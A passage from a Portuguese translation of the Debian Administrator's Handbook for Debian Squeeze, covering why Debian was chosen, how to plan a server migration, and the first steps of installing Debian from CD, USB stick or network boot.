fundador deste projeto, insiste que aexpressão "GNU/Linux" sejasistematicamente usada, de maneira amelhor reconhecer a importância dascontribuições feitas pelo projeto GNU eseus princípios de liberdade nos quaisforam fundados.

O Debian escolheu seguir essarecomendação, e, portanto, nomeou suadistribuição adequadamente (portando, oúltimo lançamento estável é o DebianGNU/Linux 6.0).

Diversos fatores ditaram essa escolha.O administrador do sistema, que possuifamiliaridade com a distribuição,assegurou que a mesma estaria listadacomo candidata na revisão do sistema

de computadores. Dificuldadeseconômicas e competição feroz temlimitado o orçamento para estaoperação, apesar da sua importânciacrítica para o futuro da empresa. Este éo motivo ao qual soluções Open Source(Código Aberto) foram rapidamenteescolhidas: diversos estudos recentesindicam que estes são menos caros doque as soluções proprietárias e comrelação a qualidade do serviço é igualou melhor, desde que pessoalqualificadas para operá-los estejamdisponíveis.

NA PRÁTICA Custo total da posse (TCO- Total cost of ownership)

O Custo Total da Posse (TCO) é o total dedinheiro gasto com a posse ou aquisiçãode um item, neste caso referindo-se aosistema operacional. Este preço incluíqualquer custo de licença, custo detreinamento de pessoas para trabalharcom o novo programa, a substituição dasmáquinas que são muito lentas, reparosadicionais, etc. Tudo decorrentediretamente da escolha inicial é levadoem consideração.

Este TCO, o qual varia de acordo com ocritérios escolhidos na avaliação damesma, é raramente significativo, em si.Contudo, é muito interessante comparar oTCO calculado de acordo com as mesmasregras. Este quadro de avaliação,portanto, é de suprema importância, e éfácil de manipular em ordem paradesenhar uma conclusão predefinida.

Portanto, o TCO para uma única máquinanão faz sentido, desde que o custo doadministrador também é refletido nonúmero total de máquina que eleadministra, um número que obviamentedepende do sistema operacional e dasferramentas propostas.

Entre os sistemas operacionais livres, odepartamento de TI olhou para ossistemas BSD (OpenBSD, FreeBSD, eNetBSD), GNU Hurd, e distribuiçõesLinux. GNU Hurd, o qual não lançounenhuma versão estável, foi rejeitadoimediatamente. A escolha ésimplesmente entre BSD e Linux. Oprimeiro têm muitos méritos,especialmente em servidores.

Pragmatismo indica, entretanto, aescolha do sistema Linux já que, que abase instalada e a popularidade sãoambos muito significativos e têminúmeras consequências positivas.Consequente de sua popularidade, émais fácil encontrar pessoasqualificadas para administrar máquinasLinux do que técnicos com experiênciaem BSD. Além disso, Linux se adaptamais rapidamente a novos hardwaresdo que os BSD (embora elesfrequentemente fiquem pescoço apescoço nessa corrida). Finalmente, asdistribuições Linux são frequentementemais adaptadas a interfaces gráficasamigáveis, indispensáveis aos novatosdurante a migração de todas máquinas

do escritório para o novo sistema.

ALTERNATIVA Debian GNU/kFreeBSD

Desde do Debian Squeeze, é possível usaro Debian com o kernel do FreeBSD emcomputadores 32 e 64 bits; isto é o que asarquiteturas, kfreebsd-i386 e kfreebsd-amd64 significam. Enquanto estasarquiteturas são marcadas como"experimentais" (Prévia da Tecnologia),já 70 a 80% dos programas empacotadospara o Debian estão disponíveis para omesmo.

Estas arquiteturas podem ser apropriadaspara serem escolhidas pelosadministradores da Falcot Corp,especialmente para o firewall ( o kernelsuporta três tipos de firewall: IPF, IPFW,PF) ou para um NAS (sistema de

armazenamento por rede, para o qual osistema de arquivos ZFS foi testado eaprovado).

2.4. Por que aDistribuiçãoDebian?Uma vez que o Linux foi endossado,uma opção mais específica deve serfeita. Novamente, os critérios a seremconsiderados são abundantes. Adistribuição escolhida deve poderoperar durante muitos anos, já que amigração de um para o outro implicariacustos adicionais (muito emboramenores do que a migração entre doissistemas operacionais completamentediferentes, como Windows ou Mac

OS).

Sustentabilidade é, portanto, essencial,e deve garantir atualizações regulares epatches de segurança durante muitosanos. O tempo de atualização também ésignificativo, já que, com tantasmáquinas para administrar, Falcot Corpnão pode manejar essa operaçãocomplexa muito frequentemente. Odepartamento de TI, entretanto, insisteem rodar a última versão estável dadistribuição, beneficiando-se assim deuma assistência técnica melhor, egarantindo patches de segurança. Narealidade, atualizações de segurançageralmente apenas são garantidos porum tempo limitado em distribuições

mais antigas.

Finalmente, por razões de hegemonia efacilidade de administração, a mesmadistribuição deve rodar em todos osservidores (alguns dos quais sãomáquinas Sparc, atualmente rodandoSolaris) e computadores do escritório.

2.4.1. DistribuiçõesDirigidasComercialmente e poruma ComunidadeHá duas principais categorias de

distribuições Linux: dirigidas por umaempresa ou por uma comunidade. Aprimeira, desenvolvidas porcompanhias, são vendidas com serviçocomercial de suporte. A última édesenvolvida de acordo com o mesmomodelo aberto assim como osprogramas livres pelos quais écomposta.

Uma distribuição comercial terá,portanto, uma tendência a lançarversões mais frequentemente, afim deenfatizar atualizações e serviçosassociados. Seu futuro é diretamenteassociado ao sucesso comercial dacompanhia, e muitas já desapareceram(Caldera Linux, StormLinux, etc.).

Uma distribuição comunitária nãosegue nenhum calendário a não ser oseu próprio. Como o kernel do Linux,novas versões são lançadas quandoestão estáveis, nunca antes. Suasobrevivência é garantida, enquantohouver desenvolvedores ou companhiaspara suportá-la.

Uma comparação de diversasdistribuições Linux levou a escolha doDebian por diversos motivos:

É uma distribuição comunitária,com o desenvolvimento garantidoindependentemente de qualquerrestrição comercial; seus objetivossão, portanto, essencialmente de

natureza técnica, que parecemfavorecer a qualidade geral doproduto.De todas distribuiçõescomunitárias, é a maissignificativa de qualquerperspectiva: em números decontribuidores, número de pacotesde programas disponíveis, e anosde existência continua. O tamanhode sua comunidade é testemunhaincontestável de sua continuidade.Estaticamente, novas versões sãolançadas a cada 18 a 24 meses, umplanejamento que é agradável aosadministradores.Uma pesquisa feitas com diversascompanhias Francesas

especializadas em programaslivres mostrou que todas elasprovêm assistência ao Debian; étambém, para muitos deles, a suadistribuição escolhida,internalmente. Esta diversidade deprovedores potenciais é um trunfoimportante para a independênciada Falcot Corp.Finalmente, Debian estádisponível em diversasarquiteturas, incluindo Sparc; oque irá; portanto, possível deinstalar em diversos servidoresSun da Falcot Corp.

Uma vez o Debian sendo escolhido, aquestão de qual versão a ser usada deve

ser decidida. Vamos ver por que osadministradores escolheram o DebianSqueeze.

2.5. Por queDebian Squeeze?Neste momento desta escrita, o DebianSqueeze ainda está marcado comodistribuição “Testing” , mas agora,enquanto você está lendo, ela será aversão “Stable” do Debian. Estátambém é a razão pela qual falamos de"Debian Squeeze", ao invés de "Debian6.0", já que o número da versão não éusado antes do seu lançamento.

Você deve ter notado algumaspequenas diferenças entre o que estáescrito aqui e o que é observado na

prática, embora tenhamos limitadoessas discrep6ancias o máximopossível.

PARTICIPE

Não hesite em nos indicar qualquer erropor e-mail; você pode encontrar Raphaëlem <[email protected]>, e Roland em<[email protected]>.

A escolha do Debian Squeeze é bemjustificada e baseado em fatores quequalquer administrador preocupadocom a qualidade dos seus servidores iránaturalmente gravitar ao redor daversão estável do Debian. Além disso,está distribuição introduz inúmeras

mudanças interessantes: suporte aúltima tecnologia de virtualização(KVM), configuração simplificada doPAM, melhoria no instaladorsuportando BTRFS, todas trazendomelhorias que diretamente afetam osadministradores.

Chapter 3. Analisandoa ConfiguraçãoExistente eMigrandoQualquer revisão de sistemacomputacional deve levar emconsideração o sistema existente. Istopermite a reutilização de recursosdisponíveis o máximo possível egarante a interoperabilidade de várioselementos que compreendem osistema. Este estudo irá introduzir umaestrutura genérica a ser seguida em

qualquer migração de umainfraestrutura computacional paraLinux.

3.1. Coexistênciaem AmbientesHeterogêneosDebian integra muito bem em todos ostipos de ambientes existentes e jogamuito bem com qualquer outro sistemaoperacional. Esta quase-perfeitaharmonia vem de uma pressão demercado que demanda que os editoresde software desenvolvam programas

que sigam padrões. Conformidadescom padrões permitem queadministradores troquem programas:clientes ou servidores, sendo livres ounão.

3.1.1. Integração comMáquinas WindowsO suporte a SMB/CIFS do Sambagarante excelente comunicação em umcontexto Windows. Ele compartilhaarquivos e filas de impressão comclientes Windows e inclui software quepermite a uma máquina Linux utilizarrecursos disponíveis em um servidor

Windows.

FERRAMENTA Samba

A versão 2 do Samba se comporta comoum servidor Windows NT (autenticação,arquivos, filas de impressão, baixandodrivers de impressoras, DFS, etc.) Aversão 3 funciona com Active Directory,traz interoperabilidade com controladoresde domínio NT4, e suporta RPCs (RemoteProcedure Calls, ou Chamadas deProcedimentos Remotos). A versão 4 éuma versão reescrita (aindaexperimental), cujo propósito é proverfuncionalidade de um controlador dedomínio compatível com ActiveDirectory.

3.1.2. Integração commáquinas Mac OSNetatalk é um programa qye utiliza oprotocolo Appletalk (rodando em umkernel Linux) e permite que o Debianfaça interface com uma rede Mac OS.Ele garante a operação do servidor dearquivos e filas de impressão, bemcomo um servidor de horário(sincronização de relógio). Suasfunções de roteador permiteminterconexão com redes Appletalk.

3.1.3. Integração com

Outras MáquinasLinux/UnixFinalmente, NFS e NIS, ambosincluídos, garantem interação comsistemas Unix. NFS garantefuncionalidade como servidor dearquivos, enquanto NIS cria diretóriosde usuários. A camada de impressãoBSD, usada por muitos sistemas Unix,também permite o compartilhamentode filas de impressão.

Figure 3.1. Coexistência do Debiancom MacOS, Windows e sistemasUnix

3.2. Como MigrarPara garantir a continuidade dosserviços, cada migração de computadordeve ser planejada e executada deacordo com o plano. Independente dosistema operacional utilizado, esteprincípio nunca muda.

3.2.1. Pesquisar eIdentificar ServiçosTão simples quanto parece, este passo éessencial. Um administrador sério saberealmente quais são os principais

papéis de cada servidor, mas estespapéis podem mudar, e as vezesusuários experientes podem terinstalado serviços "selvagens".Sabendo que eles existem irá pelomenos permitir que você decida o quefazer com eles, em vez de excluí-los aoacaso.

Para este propósito, é sábio informaraos seus usuários do projeto antes demigar os servidores. Para envolvê-losno projeto, pode ser útil instalar osprogramas de software livre maiscomuns em suas máquinas antes damigração, com os quais eles irão sedeparar novamente após a migraçãopara o Debian; OpenOffice.org e a suíte

de aplicativos Mozilla são os melhoresexemplos aqui.

3.2.1.1. Rede e Processos

A ferramenta nmap (contida no pacotede mesmo nome) irá rapidamenteidentificar Serviços de Internethospedados por uma máquinaconectada na rede sem a necessidade dese logar. Simplesmente chame oseguinte comando em outra máquinaconectada na mesma rede:

$ nmap mirlaine

Starting Nmap 5.00 ( http://nmap.org ) at 2010-07-29 16:36 CET

Interesting ports on mirlaine (192.168.1.99):

Not shown: 1694 closed ports

PORT STATE SERVICE

22/tcp open ssh

79/tcp open finger

111/tcp open rpcbind

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

ALTERNATIVO Use netstat paraencontrar a lista de serviços disponíveis.

Em uma máquina Linux, o comandonetstat -tupan irá exibir a lista de sessõesTCP ativas ou pendentes, bem comoportas UDP em que processos emexecução estão ouvindo. Isto facilita aidentificação de serviços oferecidos narede.

INDO ALÉM IPv6

Alguns comandos de rede podemfuncionar com IPv4 (o padrãogeralmente) ou com IPv6. Este éespecialmente o caso com os comandosnmap e netstat, mas também outros,como route ou ip. A convenção é que estecomportamento seja habilitado pelaopção de comandos de linha -6.

Se o servidor é uma máquina Unixoferecendo contas shell a usuários, éinteressante determinar se processossão executados em segundo plano naausência de seus donos. O comando psauxw exibe uma lista de todos osprocessos com suas identidades deusuários. Checando esta informaçãocontra a saída do comando who, que

mostra uma lista de usuários logados, épossível identificar servidoresselvagens ou programas rodando emsegundo plano. Olhando para crontabs(tabelas listando ações automáticasagendadas por usuários) irá, muitasvezes, fornecer informaçõesinteressantes sobre funções cumpridaspelo servidor (uma explicaçãocompleta do cron está disponível emSection 9.7, “Agendando Tarefas comcron e atd”).

Em qualquer caso, é essencial fazerbackup de seus servidores: isto permitea recuperação de informações após ofato, quando usuários irão reportarproblemas específicos devido a

migração.

3.2.2. Fazendo Backupda ConfiguraçãoÉ sábio manter a configuração de cadaserviço identificado para poder instalaro equivalente no servidor atualizado. Omínimo é imprimir os arquivos deconfiguração e fazer uma cópia desegurança deles.

Para máquinas Unix, os arquivos deconfiguração são normalmenteencontrados em /etc/, mas eles podemestar localizados em um sub-diretóriode /usr/local/. Este é o caso se um

programa foi instalado a partir dosfontes, ao invés de um pacote. Tambémpodem ser encontrados, em algunscasos, em /opt/.

Para serviços de gestão de dados (comoem bancos de dados), é fortementerecomendado exportar eles para umformato padrão que seja facilmenteimportado pelo novo software. Talformato é usualmente em modo texto edocumentado; ele pode ser, porexemplo, um dump SQL para um bancode dados, ou um arquivo LDIF para umservidor LDAP.

Figure 3.2. Backups de bancos dedados

Cada software de servidor é diferente, eé impossível detalhar todos os casosexistentes. Veja a documentação dosoftware nova e atual para identificaras porções exportáveis (portanto, re-importáveis) e as que requeremmanipulação manual. A leitura destelivro vai clarear a configuração dos

principais programas de servidorLinux.

3.2.3. Assumindo umservidor DebianexistentePara assumir efetivamente suamanutenção, deve se analisar umamáquina que já esteja rodando oDebian.

O primeiro arquivo a verificar é o/etc/debian_version, queusualmente contém o número de versãopara o sistema Debian instalado (ele é

parte do pacote base-files). Se eleindica codenome/sid, significa que osistema foi atualizado com pacotesvindos de uma das distribuições dedesenvolvimento (tanto testing quantounstable).

O programa apt-show-versions (dopacote Debian de mesmo nome)verifica a lista de pacotes instalados eidentifica as versões disponíveis. Oaptitude pode também ser usado paraestas tarefas, embora de uma maneiramenos sistemática.

Uma olhada no arquivo/etc/apt/sources.list mostrará deonde os pacotes debian instalados

costumam vir. Se muitas fontesdesconhecidas aparecem, oadministrador pode escolher reinstalaro sistema do computador para garantircompatibilidade ótima com o softwarefornecido com o Debian.

O arquivo sources.list geralmente éum bom indicador: a maioria dosadministradores mantẽm, pelo menoscomentada, a lista de fontes APTanteriormente usadas. Mas você nãodeve esquecer que fontes usadas nopassado podem ter sido apagadas, e quealguns pacotes podem ter sido baixadosda internet e instalados manualmente(com o comando dpkg). Neste caso, amáquina não é tão "Debian padrão"

quanto parece. É por isso que vocêdeve prestar atenção em indicações depresença de pacotes externos(surgimento de arquivos deb emdiretórios estranhos, números de versãocom um sufixo especial indicando queé originado de fora do projeto Debian,como um ubuntu ou ximian, etc.)

Da mesma forma, é interessanteanalizar o conteúdo da diretório/usr/local/, que deve conter osprogramas compilados e instaladosmanualmente. Listar os programasinstalados desta maneira é instrutivo, jáque se questiona o porque de não se terusado o pacote Debian correspondente,se este existir.

OLHADA RÁPIDA cruft

O pacote cruft se propõe a lista osarquivos disponíveis que não são depropriedade de nenhum pacote. Ele temalguns filtros (mais ou menos efetivos, emais ou menos atualizados) para evitarbotar no relatório alguns arquivoslegítimos (arquivos gerados por pacotesDebian, ou arquivos de configuraçãogerados não-controlados pelo dpkg, etc.).

Cuidado para não apagar arbitrariamentetudo que o cruft venha a listar!

3.2.4. Instalando oDebian

Com toda a informação no servidoratual agora conhecida, podemosdesligá-lo e começar a instalar oDebian nele.

Para escolher a versão apropriada,devemos conhecer a arquitetura docomputador. Se for um PC, é provávelque seja um i386. Caso contrário,podemos restringir as possibilidades deacordo com o sistema usado.

Figure 3.3. Instalando a versãoapropriada do Debian

Table 3.1, “Arquitetura e respectivosistema operacional” não pretende serexaustiva, mas útil. de qualquer forma,a documentação original do

computador é a fonte mais confiávelpara encontrar esta informação.

o HARDWARE dos PCs de nova-geração

Computadores mais novos temprocessadores Intel ou AMD de 64 bits,compatíveis com os antigosprocessadores de 32 bits; o softwarecompilado para arquitetura “i386” entãofunciona. Por outro lado, este modo decompatibilidade não exploracompletamente as capacidades destesnovos processadores. É por isto que oDebian fornece software para arquitetura“ia64” para chips Itanium Intel e“amd64” para chips AMD. Este últimotambém funciona com processadores“em64t” da Intel, que sã muito similaresaos processadores AMD64.

Table 3.1. Arquitetura e respectivosistema operacional

SistemaOperacional Arquitetura(s)

DEC Unix (OSF/1) alpha, mipselHP Unix hppaIBM AIX powerpcIrix mips

MacOS powerpc, m68k,i386, amd64

MVS s390

Solaris, SunOS sparc, m68k,i386

Ultrix mipsVMS alpha

Windows NT i386, alpha,mipsel

Windows XP /Windows Server2008

i386, ia64,amd64

Windows Vista /Windows 7 i386, amd64

3.2.5. Instalando eConfigurando osServiços SelecionadosDepois do Debian instalado, devemosinstalar e configurar um a um osserviços que o computador vai

hospedar. A nova configuração develevar em consideração a anterior paragarantir uma transição suave. Toda ainformação coletada nos primeiros doispassos são úteis para completar comsucesso esta parte.

Figure 3.4. Instalar os serviçosselecionados

Antes de pular de cabeça nesteexercício, é fortemente recomendadoquevocê leia o restante deste livro.Depois disto, você terá umconhecimento mais preciso de comoconfigurar os serviços esperados.

Chapter 4. InstalaçãoPara utilizar o Debian, voc6e precisainstalá-lo em um computador; estatarefa é feita pelo programa debian-installer. Uma instalação corretaenvolve muitas operações. Estecapítulo revisa as mesmas em ordemcronológica.

DE VOLTA AO BÁSICO Um cursorápido no apêndice

Instalar um computador é sempre maisfácil quando você está familiarizado comseu funcionamento. Se você não está, façaum retorno rápido para Appendix B,Curso de Curta Duração antes de ler este

capítulo.

O instalador para o Squeeze é baseadono debian-installer. Este esquemamodular permite que o mesmo trabalheem diversos cenários e permite evoluir-se e adaptar-se a mudanças. Apesar daslimitações implícitas devido anecessidade de suportar um grandenúmero de arquiteturas, este instaladoré muito acessível aos iniciantes, já queo mesmo ajuda o usuário em todos osestágios do processo. Detecçãoautomática de hardware,particionamento guiado, e interfacesgráficas resolveram a maioria dosproblemas que os novatos enfrentam.

A instalação precisa de 56 MB de RAM(Memória de Acesso Aleatório) e pelomenos 650MB de espaço no discorígido. Todos os computadores daFalcot cumprem esses critérios. Note,entretanto, que esse cenário se aplica auma instalação muito limitada dosistema sem nenhuma interface gráfica.Um mínimo de 512 MB de RAM e5GB de disco rígido são recomendadospara uma estação de trabalho.

ESTEJA CIENTE Atualizando a partirdo Lenny

Se você já tem o Debian Lenny instaladoem seu computador, este capítulo não épara você! Ao contrário de outrasdistribuições, o Debian permite atualizar

o sistema de uma versão para a próximasem precisar reinstalar o sistema.Reinstalar, adicionado o fato de serdesnecessária, pode ser perigosa, já quepode remover programas já instalados.

O processo de atualização será descritoem Section 6.6, “Atualizando de umaVersão Estável para a Próxima”.

4.1. Métodos deInstalaçãoUm sistema Debian pode ser instaladoa partir de diversos tipos de mídia,desde que a BIOS da máquina permita.

Você pode exemplo inicializar com umCD-ROM, um pendrive, ou até mesmopela rede.

DE VOLTA AO BÁSICO BIOS, ainterface do hardware/programa

BIOS (sigla de Basic Input/OutputSystem) é um software que é incluído naplaca mãe (A placa eletrônica que conectatodos os periféricos) e é executadoquando o computador liga, para carregarum sistema operacional (via umgerenciador de boot adaptado). Ele rodanos bastidores para fornecer umainterface entre o hardware e o software(no nosso caso, o núcleo do Linux).

4.1.1. Instalando apartir do CD-ROM/DVD-ROMA mais amplamente mídia usada para ainstalação é o CD-ROM (ou DVD-ROM, que se comporta exatamenteigual): o computador é inicializado apartir desta mídia, e o programa deinstalação toma o controle.

Os vários CD-ROMs tem propósitosdiferentes: netinst (networkinstallation) contém o instalador e osistema Debian básico; todos os outrosprogramas são baixados. Sua

“imagem”, ou seja, o sistema dearquivos ISO-9660 que contém oconteúdo exato do disco, tem apenas150 MB. E também temos o CD-ROMbusinesscard ou bizcard (cartão devisita), que contém apenas o instalador,e que precisa que todos os pacotesDebian (inclusive o sistema básico)sejam baixados. Já que sua imagemocupa apenas 35 MB, ele pode serqueimado num CD-ROM do tipo“business card” (cartão de visita), daí onome. Finalmente, o conjuntocompleto oferece todos os pacotes epermite uma instalação numcomputador que não tem acesso àinternet; Requer cerca de 50 CD-ROMs(ou oito DVD-ROMs, ou dois Blu-ray).

Mas os programas são divididos entraos discos de acordo com suapopularidade e importância; osprimeiros três discos são suficientespara a maioria das instalações, já queneles tem os softwares mais comuns.

DICA Discos multi-arquiteturas

A maioria dos CD- e DVD-ROMstrabalham somente com uma arquiteturaespecífica. Se você deseja baixar aimagens completas, você deve sepreocupar em escolher aquelas quefuncionam com o hardware docomputador no qual você pretendeinstalá-las.

Agumas imagens de CD/DVD-ROMpodem funcionar em várias arquiteturas.

Temos uma imagem de CD-ROM netinstpara as arquiteturas i386 e amd64.Também existe uma imagem de DVD-ROM que contém o instalador e umaseleção de pacotes binários para i386 eamd64, assim como os pacotes fonteconrrespondentes.

Para obter as imagens de CD-ROM doDebian, você precisa claramente baixá-las e queimar a mesma em um disco.Você poderia também comprá-la, e,assim, prover um pouco de suportefinanceiro ao projeto. Verifique o sitepara ver a lista de imagens de CD-ROM e os sites de para baixá-las.

→ http://www.debian.org/CD/index.html

NA PRÁTICA Debian no CD-ROM

CD-/DVD-ROMs do Debian tambémpodem ser comprados; Raphaël Hertzogpropõe alguns em seu blog, onde 10% doslucros são doados ao Projeto Debian, orestante destes permitem que ele devotemais tempo ao Debian.

→ http://www.debian.org/CD/vendors/

→ http://raphaelhertzog.com/go/debian-cd/

4.1.2. Iniciando apartir de um pendrive

Uma vez que computadores recentesiniciam por dispositivos USB, vocêtambém pode instalar o Debian a partirde um pendrive USB (que não é nadamais que um pequeno disco emmemória flash). Esteja atento ao fatode que nem todas as BIOS são iguais;algumas conseguem iniciar dedispositivos USB 2.0, enquanto outrasfuncionam apenas com USB 1.1. Alémdisso, o pendrive USB deve ter setoresde 512 bytes, e esta funcionalidade,embora comum, nunca é documentadana embalagem dos pendrives a venda.

O manual de instalação explica comocriar um "USB key" que contenha odebian-installer (instalador debian). O

procedimento foi bastante simplificadocom o Squeeze, já que as imagens ISOpara as arquiteturas i386 e amd64 sãohíbridas que podem iniciar de um CD-ROM ou de um "USB key".

Você deve primeiro identificar o nomedo periférico da "USB key" (ex:/dev/sdb); o jeito mais simples defazer isto é verificar as mensagensenviadas pelo núcleo ("kernel") usandoo comando dmesg. Então você devecopiar a imagem ISO previamentebaixada (por exemplo debian-6.0.0-amd64-i386-netinst.iso) com ocomando cat debian-6.0.0-amd64-i386-netinst.iso >/dev/sdb; sync. estecomando requer direito de

administrador, já que acessa operiférico "USB key" diretamente eapaga o seu conteúdo sem conferir.

Uma explicação mais detalhada estádisponível no manual de instalação.Entre outras coisas, ele descreve ummétodo alternativo de preparar uma"USB key" que é mais complexo, masque permite customizar as opçõespadrão do instalador (aquelasconfiguradas na linha de comando donúcleo).

→ http://www.debian.org/releases/stable/i386/ch04s03.html

4.1.3. Instalando via

inicialização pela redeMuitas BIOS permitem iniciardiretamente da rede baixando o núcleo("kernel") que irá iniciar. Este método(que tem muitos nomes, como iníciovia PXE ou TFTP) pode ser a únicasalvação se o computador não tem umleitor de CD-ROM, ou se a BIOS nãopode iniciar pelo CR-ROM.

Este método de instalação funciona emdois passos. Primeiro, quandoiniciando o computador, a BIOS (ou aplaca de rede) envia um pedidoBOOTP/DHCP para automaticamenteadquirir um endereço IP. Quando um

servidor BOOTP ou DHCP retorna umaresposta, ele inclui um nome dearquivo, assim como configurações derede. Depois da rede configurada, ocomputador cliente envia um pedidoTFTP (Trivial File Transfer Protocol)para um arquivo cujo nome foipreviamente indicado. Quando oarquivo é recebido, ele é executadocomo se estivesse num carregador deinicialização ("bootloader"). Ele entãolança o instalador Debian, que éexecutado como se estivesse numdisco, CD-ROM ou "USB key".

Todos os detalhes deste método estãodisponíveis no guia de instalação(seção “Arrancar com TFTP”).

→ http://www.debian.org/releases/stable/i386/ch05s01.html#boot-tftp→ http://www.debian.org/releases/stable/i386/ch04s05.html

4.1.4. Outros métodosde instalaçãoQuando temos que instalar de formapersonalizada um grande número decomputadores, geralmente escolhemosum método automatizado ao invés deum manual. dependendo da situação eda complexidade das instalações aserem feitas, podemos usar um FAI(Fully Automatic Installer, ouInstalador Totalmente Automático,

descrito em Section 12.3.1, “InstaladorCompletamente Automático (FAI)”),ou mesmo um CD de instalaçãopersonalizado com "preseeding" (seeSection 12.3.2, “Preseeding Debian-Installer”).

4.2. Instalando,Passo a Passo

4.2.1. Ligando einiciando o InstaladorUma vez que a BIOS começou a iniciardo CD- ou DVD-ROM, o menu docarregador de boot Isolinux aparecerá.Neste ponto, o kernel do Linux aindanão está carregado; este menu permiteescolher o kernel para iniciar e passarparâmetros possíveis para seremtransferidos a ele no processo.

Para uma instalação normal, você podeescolher “Install” ou “Graphicalinstall” (com as setas), entãopressionar a tecla Enter para iniciar orestante do processo de instalação. Se oDVD-ROM é um disco “Multi-arch”(como o incluído neste livro), e amáquina tem um processador Intel ouAMD 64 bit , as opções de menu“64 bit install” e “64 bit graphicalinstall” habilitam a instalação davariante 64 bit (amd64) no lugar davariante 32 bit padrão (i386). Naprática, a versão 64 bit é apenasrelevante num servidor, e não numdesktop, já que pode causardificuldades com o uso de certosprogramas não-livres que são lançados

apenas como binários.

SE APROFUNDANDO 32 ou 64 bits?

A diferença fundamental entre sistemasde 32 e 64 bits é o tamanho dos endereçosde memória. Teoricamente, um sistema de32 bits não pode trabalhar com mais de4 GB de RAM (232 bytes). Na prática, épossível driblar esta limitação usando avariante do núcleo chamada 686-bigmem,se o processador entende afuncionalidade PAE (Physical AddressExtension). Mas usar isto não causa umamelhora visível na performance dosistema. É por isto que é útil usar o modo64 bits em servidores com muita RAM.

Para um computador de escritório (ondeuns poucos porcento de diferença na

performance é imperceptível), você deveter em mente que alguns programasproprietários não estão disponíveis emversões de 64 bits (como o Skype e oplugins de applets Java dos navegadores,por exemplo). É tecnicamente possívelfazê-los funcionar em sistemas de 64 bits,mas você terá que instalar as versões de32 bits com todas bibliotecas necessárias,e às vezes usar setarch ou linux32 (nopacote util-linux) para enganar asaplicações quanto à netureza do sistema.É muito esforço para pouco retorno.

NA PRÁTICA Instalação lado a ladocom um sistema Windows

Se o computador já roda Windows, nãoprecisa removê-lo para instalar o Debian.Você pode ter ambos os sistemas juntos,

cada um instalado num disco ou partiçãoseparados, e escolher qual iniciar quandoder boot no computador. Esteconfiguração é conhecida como duploboot (“dual boot”), e o sistema deinstalação do Debian pode configuraristo. Isto é feito durante o estágio departicionamento do disco rígido e durantea configuração do carregador de boot(veja as barras laterais nestas seções).

Se você já tem um sistema Windows emfuncionamento, você pode evitar gastarum CD-ROM; O Debian oferece umprograma Windows que irá baixar umleve instalador Debian e configurá-lo nodisco rígido. Você então somenteprecisará reiniciar o computador eescolher entre inicializar normalmente oWindows ou inicializar o programa deinstalação. Você também pode encontrá-

lo em uma página web dedicada que temum nome bem intuitivo...

→ http://ftp.debian.org/debian/tools/win32-loader/stable/

→ http://www.goodbye-microsoft.com/

DE VOLTA AO BÁSICO Carregador deinicialização

O carregador de inicialização é umprograma de baixo nível que éresponsável por inicializar o núcleoLinux logo após a BIOS passar para ele ocontrole. Para realizar esta tarefa, eledeve ser capaz de localizar o núcleoLinux para inicializar no disco.Emarquiteturas i386/amd64, os doisprogramas mais utilizados para realizar

esta tarefa são o LILO, o mais velho dosdois, e o GRUB, um concorrente maismoderno. Isolinux e Syslinux sãoalternativas frequentemente utilizadaspara inicializar de mídias removíveis.

Cada opção do menu esconde umalinha de comando de inicializaçãoespecífica, que pode ser configuradaconforme a necessidade ao pressionar atecla TAB antes de validar a opção einicializar. A opção "Ajuda" do menumostra a antiga interface de linha decomando, onde as teclas F1 a F10exibem diferentes telas de ajudadetalhando as várias opçõesdisponíveis no terminal. Vocêraramente irá utilizar esta opção,

exceto em casos muito específicos.

O modo "avançado" (acessível no menu"Opções avançadas") detalha todas asopções possíveis no processo deinstalação, e possibilita a navegaçãoentre os vários passos sem que elesaconteçam automaticamente emsequência. Seja cuidadoso, este modomuito detalhado pode ser confusodevido as muitas opções deconfiguração que ele oferece.

Figure 4.1. Tela de inicialização

Uma vez inicializado, o programa deinstalação guia você passo a passo peloprocesso. Esta seção apresenta cada umdesses passos em detalhe. Aquiseguimos o processo de instalação deum DVD-ROM Multi-Arquitetura;outros tipos de instalação, (netinst ou

businesscard) podem ser ligeiramentediferentes. Também falaremos dainstalação no modo gráfico, mas estadifere da instalação "clássica" apenasna aparência.

4.2.2. Selecionando oidiomaO programa de instalação começa eminglês, mas o primeiro passo permiteao usuário escolher o idioma que seráusado no resto do processo. Escolher ofrancês, por exemplo, fornecerá umainstalação totalmente traduzido para ofrancês (e um sistema configurado em

francês como resultado). Esta escolhatambém é usada para definir opções depadrão mais relevantes nas fasessubsequentes (nomeadamente o layoutde teclado).

DE VOLTA AO BÁSICO Navegando como teclado

Alguns passos no processo de instalaçãorequerem que você entre cominformações. Estas telas tem muitas áreasque podem "ter foco" (áreas de entrada detexto, caixas de seleção, lista de escolhas,botões OK e Cancelar), e a tecla TABpermite que você mova de uma paraoutra.

No modo gráfico, você pode usar omouse.

Figure 4.2. Selecionando o idioma

4.2.3. Selecionando opaísO segundo passo consiste em escolherseu país. Associada com o idioma, esta

informação possibilita ao programaoferecer o padrão de teclado maisapropriado. Isto também influencia aconfiguração da zona de tempo. NosEstados Unidos, o padrão de tecladoQWERTY é sugerido, e uma opçãocom as zonas de tempo adequadas éoferecida.

Figure 4.3. Selecionando o país

4.2.4. Selecionando opadrão do tecladoO teclado "Inglês Americano"corresponde ao padrão QWERTY

usual.

Figure 4.4. Escolha do teclado

4.2.5. Detectando oHardwareEste passo é completamenteautomático na vasta maioria dos casos.

O instalador detecta seu hardware etenta identificar o dispositivo de CD-ROM utilizado para acessar seuconteúdo. Ele carrega os móduloscorrespondentes aos várioscomponentes de hardware detectados eentão "monta" o CD-ROM para lê-lo.Os passos anteriores estavamcompletamente contidos na imagem deinicialização incluída no CD, umarquivo de tamanho limitado ecarregado na memória pela BIOS aoinicializar do CD.

O instalador pode trabalhar com a vastamaioria dos dispositivos,especialmente periféricos ATAPI(algumas vezes chamados IDE e

EIDE). Entretanto, se a detecção doleitor de CD-ROM falha, o instaladoroferece a escolha de carregar ummódulo do núcleo (por exemplo de umdispositivo USB) correspondendo aodriver de CD-ROM.

4.2.6. CarregandocomponentesCom os conteúdos do CD agoradisponíveis, o instalador baixa todos osarquivos necessários para continuarcom o trabalho. Isto inclui driversadicionais para os dispositivosrestantes (especialmente a placa de

rede), assim como todos oscomponentes do programa deinstalação.

